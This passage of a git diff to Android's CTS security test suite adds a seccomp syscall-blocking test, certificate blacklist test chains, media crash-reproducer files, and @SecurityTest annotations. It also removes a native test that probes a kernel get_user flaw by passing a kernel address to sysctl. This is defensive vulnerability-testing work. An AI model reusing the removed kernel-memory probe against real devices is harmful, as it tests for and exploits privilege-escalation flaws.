+++ b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
@@ -33,7 +33,6 @@
 #include <linux/perf_event.h>
 #include <errno.h>
 #include <inttypes.h>
-#include <linux/sysctl.h>
 #include <arpa/inet.h>
 #include <linux/ipc.h>
 #include <pthread.h>
@@ -86,45 +85,6 @@
     return true;
 }
 
-/*
- * Prior to https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/arch/arm/include/asm/uaccess.h?id=8404663f81d212918ff85f493649a7991209fa04
- * there was a flaw in the kernel's handling of get_user and put_user
- * requests. Normally, get_user and put_user are supposed to guarantee
- * that reads/writes outside the process's address space are not
- * allowed.
- *
- * In this test, we use sysctl to force a read from an address outside
- * of our address space (but in the kernel's address space). Without the
- * patch applied, this read succeeds, because sysctl uses the
- * vulnerable get_user call.
- *
- * This function returns true if the patch above is applied, or false
- * otherwise.
- *
- * Credit: https://twitter.com/grsecurity/status/401443359912239105
- */
-static jboolean android_security_cts_NativeCodeTest_doVrootTest(JNIEnv*, jobject)
-{
-#ifdef __arm__
-    ALOGE("Starting doVrootTest");
-
-    struct __sysctl_args args;
-    char osname[100];
-    int name[] = { CTL_KERN, KERN_OSTYPE };
-
-    memset(&args, 0, sizeof(struct __sysctl_args));
-    args.name = name;
-    args.nlen = sizeof(name)/sizeof(name[0]);
-    args.oldval = osname;
-    args.oldlenp = (size_t *) 0xc0000000; // PAGE_OFFSET
-
-    int result = syscall(__NR__sysctl, &args);
-    return ((result == -1) && (errno == EFAULT || errno == ENOSYS));
-#else
-    return true;
-#endif
-}
-
 static void* mmap_syscall(void* addr, size_t len, int prot, int flags, int fd, off_t offset)
 {
 #ifdef __LP64__
@@ -395,8 +355,6 @@
             (void *) android_security_cts_NativeCodeTest_doPerfEventTest },
     {  "doPerfEventTest2", "()Z",
             (void *) android_security_cts_NativeCodeTest_doPerfEventTest2 },
-    {  "doVrootTest", "()Z",
-            (void *) android_security_cts_NativeCodeTest_doVrootTest },
     {  "doCVE20141710Test", "()Z",
             (void *) android_security_cts_NativeCodeTest_doCVE20141710Test },
     {  "doFutexTest", "()Z",
diff --git a/tests/tests/security/jni/android_security_cts_SeccompTest.cpp b/tests/tests/security/jni/android_security_cts_SeccompTest.cpp
new file mode 100644
index 0000000..ee36cdd
--- /dev/null
+++ b/tests/tests/security/jni/android_security_cts_SeccompTest.cpp
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+#define LOG_TAG "SeccompTest"
+
+#include <cutils/log.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+/*
+ * Function: testSyscallBlocked
+ * Purpose: test that the syscall listed is blocked by seccomp
+ * Parameters:
+ *        nr: syscall number
+ * Returns:
+ *        1 if blocked, else 0
+ * Exceptions: None
+ */
+static jboolean testSyscallBlocked(JNIEnv *, jobject, int nr) {
+    int pid = fork();
+    if (pid == 0) {
+        ALOGI("Calling syscall %d", nr);
+        int ret = syscall(nr);
+        return false;
+    } else {
+        int status;
+        int ret = waitpid(pid, &status, 0);
+        if (ret != pid) {
+            ALOGE("Unexpected return result from waitpid");
+            return false;
+        }
+
+        if (WIFEXITED(status)) {
+            ALOGE("syscall was not blocked");
+            return false;
+        }
+
+        if (WIFSIGNALED(status)) {
+            int signal = WTERMSIG(status);
+            if (signal == 31) {
+                ALOGI("syscall caused process termination");
+                return true;
+            }
+
+            ALOGE("Unexpected signal");
+            return false;
+        }
+
+        ALOGE("Unexpected status from syscall_exists");
+        return false;
+    }
+}
+
+static JNINativeMethod gMethods[] = {
+    { "testSyscallBlocked", "(I)Z",
+            (void*) testSyscallBlocked },
+};
+
+int register_android_security_cts_SeccompTest(JNIEnv* env)
+{
+    jclass clazz = env->FindClass("android/security/cts/SeccompTest");
+
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/security/res/raw/blacklist_test_chain.pem b/tests/tests/security/res/raw/blacklist_test_chain.pem
new file mode 100644
index 0000000..6f1f297
--- /dev/null
+++ b/tests/tests/security/res/raw/blacklist_test_chain.pem
@@ -0,0 +1,35 @@
+-----BEGIN CERTIFICATE-----
+MIICxzCCAa+gAwIBAgIDAopPMA0GCSqGSIb3DQEBCwUAMBwxGjAYBgNVBAMTEWJs
+YWNrbGlzdCB0ZXN0IENBMCoYEzIwMTUwMTAxMDAwMDAwKzAwMDAYEzIwMjUwMTAx
+MDAwMDAwKzAwMDAwDzENMAsGA1UEAxMEbGVhZjCCASIwDQYJKoZIhvcNAQEBBQAD
+ggEPADCCAQoCggEBAOA1rNFofKivnO6f/UjNnkUZX4qG+MBXw5eeingfrLrAbyTP
+qf/YCN3F8JOcot1QUEojcjIrm54rDgi1+o9qDDY0CfbJ8UGmjgh0h5odlxnZbsF2
+0Tzy3lEFHPUUBj6160itB95giHDKH1meW91L1ah8Z+nWES9GGBIAS/1XpeXtiE7/
+IuVmEuE8veAbwdMC9qRSEeq2zUWhA4m/KzTuli/GNErkXlazj3hlBs5WJ207ztTp
+HRGrAEjQgRKb3Ap2leowiE/u9D1Ean53g4v4gzDV1gx5uTZ395WfuWteO9ZUc9bo
+XMeGJiPcvyr2i8Do25ZWw+wW1T2TbcEAtyfOmgkCAwEAAaMTMBEwDwYDVR0TAQH/
+BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAPY6VDC0kfY+kGrM5YiNEjs6PjNjj
+ojWU5/UMjwfRqF8JtkNnV9LnBiNlNGUIV8b5OCyXKGjDlc+ISNRvpgGbZ4dzVIwE
+OKKL9tUB4IFwRAxO0UbLtVkwFeX3clzTezLkei7ahgUe04c2ZjFeO/mf/nuQWvWY
+hprLz5uiGtKWPcirec4wPLkuyHzQMv7Dx/5VYARuxhHkkplteVQ4k9nTxag372Re
+eHgH4KKgLTXEBjV55RoAtOsug+k+KT8U9FzU2ul/j+89tJihllkD1udqIkic8RMx
+qn/mBaIe/ENb88TzrSXcp2xE9rth+QtjpNAVGnE4hP87QukVgedq7JKV7Q==
+-----END CERTIFICATE-----
+-----BEGIN CERTIFICATE-----
+MIIC1DCCAbygAwIBAgIDDYaqMA0GCSqGSIb3DQEBCwUAMBwxGjAYBgNVBAMTEWJs
+YWNrbGlzdCB0ZXN0IENBMCoYEzIwMTUwMTAxMDAwMDAwKzAwMDAYEzIwMjUwMTAx
+MDAwMDAwKzAwMDAwHDEaMBgGA1UEAxMRYmxhY2tsaXN0IHRlc3QgQ0EwggEiMA0G
+CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDafYp6+Gs5ZjfLfU2EH/NYpvdBUyPz
+veQBJCE4PhBYhOm+Z+J6aX0rSHqU4VTJ8H0TOb6Fh54zBUkIQJHx8YTIsXVmDj0O
+louWAa3uYpIOeBz46knJxdTI9NG6XnsHMYUICZPM8CHtHhoaYnhaRFTcGIg+Y9Hl
+BxMTYXXtqjicg10YuSuEkwMuDT7CbmnmYon8Gt5+ygHIe8YFWdCicpzm5wlPvRu4
+D+WiH2mTgfFG5D5QDoRnxnHWAcO8/+UenFtnbfRip9h6TrzXoJSHtuYW3rMCDVG3
+owVwUE3+ExMcbWKn+qaqGQsjrLlwyYEcKjhH67iPFcTtvZfCsgv8YG75AgMBAAGj
+EzARMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAILNS2XgO4Qa
+plyF7wbQFvVlFFe1QIiEiPZcopqb0zEse73IPBGUnoIt3C9keCv8Q6d7h0x2fe2N
+IqD4P9WXGQYiobBnTci1d2nW5dBq1WVDcpK4cNVsDX7SBE6sd19JEAazNSPIQJ6T
+sts2JXXdTssAyVqGAnq6TwQ2U5ArzuC5pCmr7FcfYAH0sCZM5VWw+ffJylDMBfeG
+oWyjH6f+TmkDd7yvIDh+ptn7Qv+LRxIjHDLPOxG9Y6JaDYtVqKJWh7er5/HFlwUi
+E6gpIuFM6It5ogUtmik2B19bPWpcnGFhv01IKBgmihpzd8LyCmxTtkK11KMxS1JF
+xZSCP3mJTbQ=
+-----END CERTIFICATE-----
diff --git a/tests/tests/security/res/raw/blacklist_test_valid_ca.pem b/tests/tests/security/res/raw/blacklist_test_valid_ca.pem
new file mode 100644
index 0000000..19148c7
--- /dev/null
+++ b/tests/tests/security/res/raw/blacklist_test_valid_ca.pem
@@ -0,0 +1,17 @@
+-----BEGIN CERTIFICATE-----
+MIICwDCCAaigAwIBAgIDBWa1MA0GCSqGSIb3DQEBCwUAMBIxEDAOBgNVBAMTB1Rl
+c3QgQ2EwKhgTMjAxNTAxMDEwMDAwMDArMDAwMBgTMjAyNTAxMDEwMDAwMDArMDAw
+MDASMRAwDgYDVQQDEwdUZXN0IENhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
+CgKCAQEAuk5Hq/uHOz7E3gEZFXKb0ZFslODflO7vB/VT3dmHyGXxuDK5fgQB4xPz
+uoU1VSpD9Pxpe9u+6jNlShEZ5xN34c2F6g+stU4lUS5udqCZVEtB6/etOOpMuiWU
+Ud2DVkEAn9weWkJmKy2gkLQ8p2Iw+0mPlhKKFI9brhGTEpQDTvW9sbLmSQFSEk30
+Ia5rxii/cgu8j5AQmsvUQA06vHXq6/xIsQIj1UFMycBmPz8BvrVO/c891vD9f2Uq
+gQg4p084rmsc6a7PAhBibTOFs3m91HNyZuY2M3pA1r1oLPRQ3WYXb8Wt+kHVtKAr
+L6qDXtofCU3RGhAruwjmuOWftgNsGwIDAQABoxMwETAPBgNVHRMBAf8EBTADAQH/
+MA0GCSqGSIb3DQEBCwUAA4IBAQCkFKi9HmsOyn4Wh6RpzwSh39L6e48IdOMcNpOK
+O38tO2rO/uNnhGn2ptnUJkwYS7XOy/A09q1iZNbiuwBweIxc8Z17vpNmk7cF4TMw
+lMRJjDE3Dm2qjTs/lDOknGuzB38Q8tGN/ZbYUHjjf4TZHk5FXCzRUUp+UMzxlOuc
+HAuNuBlQUW88s26h7NdNr115VCbouAI7YkWJRmS2FbeQD5Nwx/kZcvLtJyKasx+n
+imeqy3kCW1NzP9nwlsx2vwW6ydGsdHxqsfrRpdRSLHjzQDA+5m5xMNV0oTr86Iex
+mkqHtIMbOOUpzrE3PACA4m7IgA6AcSkV5gGM9AgqcYccC3St
+-----END CERTIFICATE-----
diff --git a/tests/tests/security/res/raw/blacklist_test_valid_chain.pem b/tests/tests/security/res/raw/blacklist_test_valid_chain.pem
new file mode 100644
index 0000000..e763a05
--- /dev/null
+++ b/tests/tests/security/res/raw/blacklist_test_valid_chain.pem
@@ -0,0 +1,87 @@
+-----BEGIN CERTIFICATE-----
+MIICwjCCAaqgAwIBAgIDD37fMA0GCSqGSIb3DQEBCwUAMBcxFTATBgNVBAMTDGlu
+dGVybWVkaWF0ZTAqGBMyMDE1MDEwMTAwMDAwMCswMDAwGBMyMDI1MDEwMTAwMDAw
+MCswMDAwMA8xDTALBgNVBAMTBGxlYWYwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
+ggEKAoIBAQDNq1OWpxGZfNFw8E8ZPvYEXeaXEa1twBSKDe1EUctuck+F8Ethb0O1
+ooWA9egJh8GWSbxFdPfoJ/yyuor3sH5kkUtq94NO/1IXPn4xnrwrfvkeVR8e3pXn
+kAQm7MH8c8iPmQ59arfBjFfX9ZZhPiLDPq1bsQa8WqaajyylVVDzQcYseDSHoR/7
+3QmcfUZjH5qxYf7jcS8QdtfnD6faZuczM30qL7N3BLn2gcA5I5jVkrxQBKfLBPfl
+6k3aO6ekxSSxhSHqBv7x5VIzoiq666DGdelLuwrmMksx7Ni7cnXws3rlBYCr6wly
+Hux62YJ9Og3rC5lb3pjkmSzj31VVfFnpAgMBAAGjEzARMA8GA1UdEwEB/wQFMAMB
+Af8wDQYJKoZIhvcNAQELBQADggEBAISuXogfdMHZiAs3CJwsOTjCLW0MGsqWH88j
+wdkbotZuTAb84Iq2vpoX/w95WlyakseFGHnAaexy4nzSNyn8LC5b4JMNQopn8Gxs
+y3p0Z+XC/PNC/4lVxQB8KARFvhtW7Ltw1jjIqbTq2ZTWVSCuqb+1ZnMihP4MYinb
+Ml/Q9N/pitaLolQ/pewm4YjqUA8rGC3OkyL06huz+Ow382TvMDVLk0nctMvCrg1h
+IJFlCD5I8xhcIAqp7wzEHVHQ9jRT9NjElG+PF6FwGi6IW3A8wL8fGru2N84OeJbs
+ROrn33HqVsoqZUdXSPG5YGxM7c7wfUBx3g1/Ou3gxLlqp4a/kX0=
+-----END CERTIFICATE-----
+-----BEGIN CERTIFICATE-----
+MIICzzCCAbegAwIBAgIDDeS0MA0GCSqGSIb3DQEBCwUAMBwxGjAYBgNVBAMTEWJs
+YWNrbGlzdCB0ZXN0IENBMCoYEzIwMTUwMTAxMDAwMDAwKzAwMDAYEzIwMjUwMTAx
+MDAwMDAwKzAwMDAwFzEVMBMGA1UEAxMMaW50ZXJtZWRpYXRlMIIBIjANBgkqhkiG
+9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2v+yrEqrNHOD30WnfdjgDQx+bWF46/zUArFU
+aeHSzjKEaZcSXI4a3vtFS5NH7AGE8kcrOWRSpgG9WC1CSSW9doHqz0eVK/vBDa62
+J3eZPh0kc2pgrwPRWZjzoQLpaApIq1j7xskp5PC21GA3mDKQCI/Z/TpuBoD38jwR
+TzmJOA4/+0zf+5dH4qyzHtE+K/WrUdNnonZ9ohK9WAlDhKAZ8N4VFb75VQJOYhdK
+sBiqQqBiw1Wg9IRSCeDSq3O6zjDznzQAa0hmKanqq+VVwgq8z9GRCXa3y2RawnU6
+oVfRKTQnRqUxtRobjXUCArDatsZ4xr1A4fDMCPcLyaEMOCG7CQIDAQABoxMwETAP
+BgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQClkXYt95OajuH5Xqut
+KO52XMAeJSC+lAp7sT32tUAZgsV0x5YEAKbo6W9hWuSPdx99r9bPgfQ0sqc1gRgS
+wyW3ZbB/rNrQqQqNYzBWwKrg3uTCGA1o85SqX8aiDJuygBySllTzGztENTApWYwN
+LJATS9yPgn/31BHyfZ29v+6fa3cnuRitVGIW/thDwz8IPqPSNqGTO8Obf/6WDOK/
+7pkji2rHG25Gi/3mWOvnjejbKwb4w4ZlihcNc60ra+0qEM5xstGz6dMJ3sd/w/Fq
+7d/4qhAEpJ7GPg/A5eVGyTYhpYuBA68KoQrrPf2CCGUFQxLQm6UQlICB5AREWOmi
+hZGG
+-----END CERTIFICATE-----
+-----BEGIN CERTIFICATE-----
+MIICxTCCAa2gAwIBAgIDAIddMA0GCSqGSIb3DQEBCwUAMBIxEDAOBgNVBAMTB1Rl
+c3QgQ2EwKhgTMjAxNTAxMDEwMDAwMDArMDAwMBgTMjAyNTAxMDEwMDAwMDArMDAw
+MDAXMRUwEwYDVQQDEwxpbnRlcm1lZGlhdGUwggEiMA0GCSqGSIb3DQEBAQUAA4IB
+DwAwggEKAoIBAQDa/7KsSqs0c4PfRad92OANDH5tYXjr/NQCsVRp4dLOMoRplxJc
+jhre+0VLk0fsAYTyRys5ZFKmAb1YLUJJJb12gerPR5Ur+8ENrrYnd5k+HSRzamCv
+A9FZmPOhAuloCkirWPvGySnk8LbUYDeYMpAIj9n9Om4GgPfyPBFPOYk4Dj/7TN/7
+l0firLMe0T4r9atR02eidn2iEr1YCUOEoBnw3hUVvvlVAk5iF0qwGKpCoGLDVaD0
+hFIJ4NKrc7rOMPOfNABrSGYpqeqr5VXCCrzP0ZEJdrfLZFrCdTqhV9EpNCdGpTG1
+GhuNdQICsNq2xnjGvUDh8MwI9wvJoQw4IbsJAgMBAAGjEzARMA8GA1UdEwEB/wQF
+MAMBAf8wDQYJKoZIhvcNAQELBQADggEBAJnqAkMbjA4+FFLAapxM+MMLjIVmtSB7
+je7U8APLI0jeY/Wye/OAsOI2vmn7PYVsCTQXr14sCJz863UHrrlDF8ejf0nqSfUM
+bSXvc23XuDmcDqoM2UroHqRmZa0SC1cFC6aJ5ODwioB98cSiPzr24aWcr43dtO4P
+OOjmDXzpC7E67amn3luUIpDJ8epHPIT8+hxP2FP7CHlYUxKQFh3l/t3ftlVF9QId
+992TbF9dDluhzWVh7jsNRJrq2cEIPn6dBsPRPncOcvYton4nvpmDaeS9/d5ktkij
+LCpJv0ECxC/kcPQu65twBWhPwER/hOV0Tq9VYVDpgP3k/K4YdXs1UhY=
+-----END CERTIFICATE-----
+-----BEGIN CERTIFICATE-----
+MIIC1DCCAbygAwIBAgIDDYaqMA0GCSqGSIb3DQEBCwUAMBwxGjAYBgNVBAMTEWJs
+YWNrbGlzdCB0ZXN0IENBMCoYEzIwMTUwMTAxMDAwMDAwKzAwMDAYEzIwMjUwMTAx
+MDAwMDAwKzAwMDAwHDEaMBgGA1UEAxMRYmxhY2tsaXN0IHRlc3QgQ0EwggEiMA0G
+CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDafYp6+Gs5ZjfLfU2EH/NYpvdBUyPz
+veQBJCE4PhBYhOm+Z+J6aX0rSHqU4VTJ8H0TOb6Fh54zBUkIQJHx8YTIsXVmDj0O
+louWAa3uYpIOeBz46knJxdTI9NG6XnsHMYUICZPM8CHtHhoaYnhaRFTcGIg+Y9Hl
+BxMTYXXtqjicg10YuSuEkwMuDT7CbmnmYon8Gt5+ygHIe8YFWdCicpzm5wlPvRu4
+D+WiH2mTgfFG5D5QDoRnxnHWAcO8/+UenFtnbfRip9h6TrzXoJSHtuYW3rMCDVG3
+owVwUE3+ExMcbWKn+qaqGQsjrLlwyYEcKjhH67iPFcTtvZfCsgv8YG75AgMBAAGj
+EzARMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAILNS2XgO4Qa
+plyF7wbQFvVlFFe1QIiEiPZcopqb0zEse73IPBGUnoIt3C9keCv8Q6d7h0x2fe2N
+IqD4P9WXGQYiobBnTci1d2nW5dBq1WVDcpK4cNVsDX7SBE6sd19JEAazNSPIQJ6T
+sts2JXXdTssAyVqGAnq6TwQ2U5ArzuC5pCmr7FcfYAH0sCZM5VWw+ffJylDMBfeG
+oWyjH6f+TmkDd7yvIDh+ptn7Qv+LRxIjHDLPOxG9Y6JaDYtVqKJWh7er5/HFlwUi
+E6gpIuFM6It5ogUtmik2B19bPWpcnGFhv01IKBgmihpzd8LyCmxTtkK11KMxS1JF
+xZSCP3mJTbQ=
+-----END CERTIFICATE-----
+-----BEGIN CERTIFICATE-----
+MIICwDCCAaigAwIBAgIDBWa1MA0GCSqGSIb3DQEBCwUAMBIxEDAOBgNVBAMTB1Rl
+c3QgQ2EwKhgTMjAxNTAxMDEwMDAwMDArMDAwMBgTMjAyNTAxMDEwMDAwMDArMDAw
+MDASMRAwDgYDVQQDEwdUZXN0IENhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
+CgKCAQEAuk5Hq/uHOz7E3gEZFXKb0ZFslODflO7vB/VT3dmHyGXxuDK5fgQB4xPz
+uoU1VSpD9Pxpe9u+6jNlShEZ5xN34c2F6g+stU4lUS5udqCZVEtB6/etOOpMuiWU
+Ud2DVkEAn9weWkJmKy2gkLQ8p2Iw+0mPlhKKFI9brhGTEpQDTvW9sbLmSQFSEk30
+Ia5rxii/cgu8j5AQmsvUQA06vHXq6/xIsQIj1UFMycBmPz8BvrVO/c891vD9f2Uq
+gQg4p084rmsc6a7PAhBibTOFs3m91HNyZuY2M3pA1r1oLPRQ3WYXb8Wt+kHVtKAr
+L6qDXtofCU3RGhAruwjmuOWftgNsGwIDAQABoxMwETAPBgNVHRMBAf8EBTADAQH/
+MA0GCSqGSIb3DQEBCwUAA4IBAQCkFKi9HmsOyn4Wh6RpzwSh39L6e48IdOMcNpOK
+O38tO2rO/uNnhGn2ptnUJkwYS7XOy/A09q1iZNbiuwBweIxc8Z17vpNmk7cF4TMw
+lMRJjDE3Dm2qjTs/lDOknGuzB38Q8tGN/ZbYUHjjf4TZHk5FXCzRUUp+UMzxlOuc
+HAuNuBlQUW88s26h7NdNr115VCbouAI7YkWJRmS2FbeQD5Nwx/kZcvLtJyKasx+n
+imeqy3kCW1NzP9nwlsx2vwW6ydGsdHxqsfrRpdRSLHjzQDA+5m5xMNV0oTr86Iex
+mkqHtIMbOOUpzrE3PACA4m7IgA6AcSkV5gGM9AgqcYccC3St
+-----END CERTIFICATE-----
diff --git a/tests/tests/media/res/raw/on_input_buffer_filled_sigsegv.mp4 b/tests/tests/security/res/raw/bug_19779574.mp4
similarity index 100%
rename from tests/tests/media/res/raw/on_input_buffer_filled_sigsegv.mp4
rename to tests/tests/security/res/raw/bug_19779574.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_21443020_webm.mp4 b/tests/tests/security/res/raw/bug_21443020_webm.mp4
new file mode 100644
index 0000000..edb761a
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_21443020_webm.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_22771132.mp4 b/tests/tests/security/res/raw/bug_22771132.mp4
new file mode 100644
index 0000000..f97e1f3
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_22771132.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_23270724_1.mp4 b/tests/tests/security/res/raw/bug_23270724_1.mp4
new file mode 100644
index 0000000..93a9b2e
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23270724_1.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_23270724_2.mp4 b/tests/tests/security/res/raw/bug_23270724_2.mp4
new file mode 100644
index 0000000..fcdfcd2
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23270724_2.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34031018_32bit.xmf b/tests/tests/security/res/raw/bug_34031018_32bit.xmf
new file mode 100644
index 0000000..8f869ab
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34031018_32bit.xmf
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34031018_64bit.xmf b/tests/tests/security/res/raw/bug_34031018_64bit.xmf
new file mode 100644
index 0000000..4ddd28d
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34031018_64bit.xmf
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34097672.mp4 b/tests/tests/security/res/raw/bug_34097672.mp4
new file mode 100644
index 0000000..79acdf4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34097672.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34360591.mp4 b/tests/tests/security/res/raw/bug_34360591.mp4
new file mode 100644
index 0000000..28c47d3
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34360591.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_34778578.bmp b/tests/tests/security/res/raw/bug_34778578.bmp
new file mode 100644
index 0000000..4a08a61
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_34778578.bmp
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_35467107.mp4 b/tests/tests/security/res/raw/bug_35467107.mp4
new file mode 100644
index 0000000..43ccef6
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_35467107.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_35763994.amr b/tests/tests/security/res/raw/bug_35763994.amr
new file mode 100644
index 0000000..b6d3f0e
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_35763994.amr
@@ -0,0 +1 @@
+#!AMR-WB
diff --git a/tests/tests/security/res/raw/bug_37079296.mp4 b/tests/tests/security/res/raw/bug_37079296.mp4
new file mode 100644
index 0000000..b441fd1
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37079296.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_38116746.ico b/tests/tests/security/res/raw/bug_38116746.ico
new file mode 100644
index 0000000..35ee5b5
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_38116746.ico
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_38342499.mid b/tests/tests/security/res/raw/bug_38342499.mid
new file mode 100644
index 0000000..4d2e282
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_38342499.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/test_blacklist_ca.pem b/tests/tests/security/res/raw/test_blacklist_ca.pem
new file mode 100644
index 0000000..b087d56
--- /dev/null
+++ b/tests/tests/security/res/raw/test_blacklist_ca.pem
@@ -0,0 +1,18 @@
+-----BEGIN CERTIFICATE-----
+MIIC1DCCAbygAwIBAgIDDYaqMA0GCSqGSIb3DQEBCwUAMBwxGjAYBgNVBAMTEWJs
+YWNrbGlzdCB0ZXN0IENBMCoYEzIwMTUwMTAxMDAwMDAwKzAwMDAYEzIwMjUwMTAx
+MDAwMDAwKzAwMDAwHDEaMBgGA1UEAxMRYmxhY2tsaXN0IHRlc3QgQ0EwggEiMA0G
+CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDafYp6+Gs5ZjfLfU2EH/NYpvdBUyPz
+veQBJCE4PhBYhOm+Z+J6aX0rSHqU4VTJ8H0TOb6Fh54zBUkIQJHx8YTIsXVmDj0O
+louWAa3uYpIOeBz46knJxdTI9NG6XnsHMYUICZPM8CHtHhoaYnhaRFTcGIg+Y9Hl
+BxMTYXXtqjicg10YuSuEkwMuDT7CbmnmYon8Gt5+ygHIe8YFWdCicpzm5wlPvRu4
+D+WiH2mTgfFG5D5QDoRnxnHWAcO8/+UenFtnbfRip9h6TrzXoJSHtuYW3rMCDVG3
+owVwUE3+ExMcbWKn+qaqGQsjrLlwyYEcKjhH67iPFcTtvZfCsgv8YG75AgMBAAGj
+EzARMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAILNS2XgO4Qa
+plyF7wbQFvVlFFe1QIiEiPZcopqb0zEse73IPBGUnoIt3C9keCv8Q6d7h0x2fe2N
+IqD4P9WXGQYiobBnTci1d2nW5dBq1WVDcpK4cNVsDX7SBE6sd19JEAazNSPIQJ6T
+sts2JXXdTssAyVqGAnq6TwQ2U5ArzuC5pCmr7FcfYAH0sCZM5VWw+ffJylDMBfeG
+oWyjH6f+TmkDd7yvIDh+ptn7Qv+LRxIjHDLPOxG9Y6JaDYtVqKJWh7er5/HFlwUi
+E6gpIuFM6It5ogUtmik2B19bPWpcnGFhv01IKBgmihpzd8LyCmxTtkK11KMxS1JF
+xZSCP3mJTbQ=
+-----END CERTIFICATE-----
diff --git a/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java b/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
index c0d0c58..f661549 100644
--- a/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
+++ b/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
@@ -17,6 +17,7 @@
 package android.security.cts;
 
 import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
 
 import junit.framework.TestCase;
 
@@ -28,6 +29,7 @@
 /**
  * Verify that the boot.art isn't mapped out of the system partition.
  */
+@SecurityTest
 public class ARTBootASLRTest extends AndroidTestCase {
     public void testARTASLR() throws Exception {
         FileInputStream ins = new FileInputStream("/proc/self/maps");
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index e29ad53..5a65d41 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -16,9 +16,10 @@
 package android.security.cts;
 
 import android.os.IBinder;
-
+import android.platform.test.annotations.SecurityTest;
 import junit.framework.TestCase;
 
+@SecurityTest
 public class ActivityManagerTest extends TestCase {
 
     @Override
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index 288f445..f8a2a8f 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -18,12 +18,14 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
+@SecurityTest
 public class AllocatePixelRefIntOverflowTest extends AndroidTestCase {
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/AslrTest.java b/tests/tests/security/src/android/security/cts/AslrTest.java
index 9bc6c75..cd92611 100644
--- a/tests/tests/security/src/android/security/cts/AslrTest.java
+++ b/tests/tests/security/src/android/security/cts/AslrTest.java
@@ -20,6 +20,7 @@
 import junit.framework.TestCase;
 
 import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import java.io.BufferedReader;
 import java.io.File;
@@ -32,11 +33,12 @@
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-import android.cts.util.ReadElf;
+import com.android.compatibility.common.util.ReadElf;
 
 /**
  * Verify that ASLR is properly enabled on Android Compatible devices.
  */
+@SecurityTest
 public class AslrTest extends InstrumentationTestCase {
 
     private static final int aslrMinEntropyBits = 8;
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 0d453da..3495191 100644
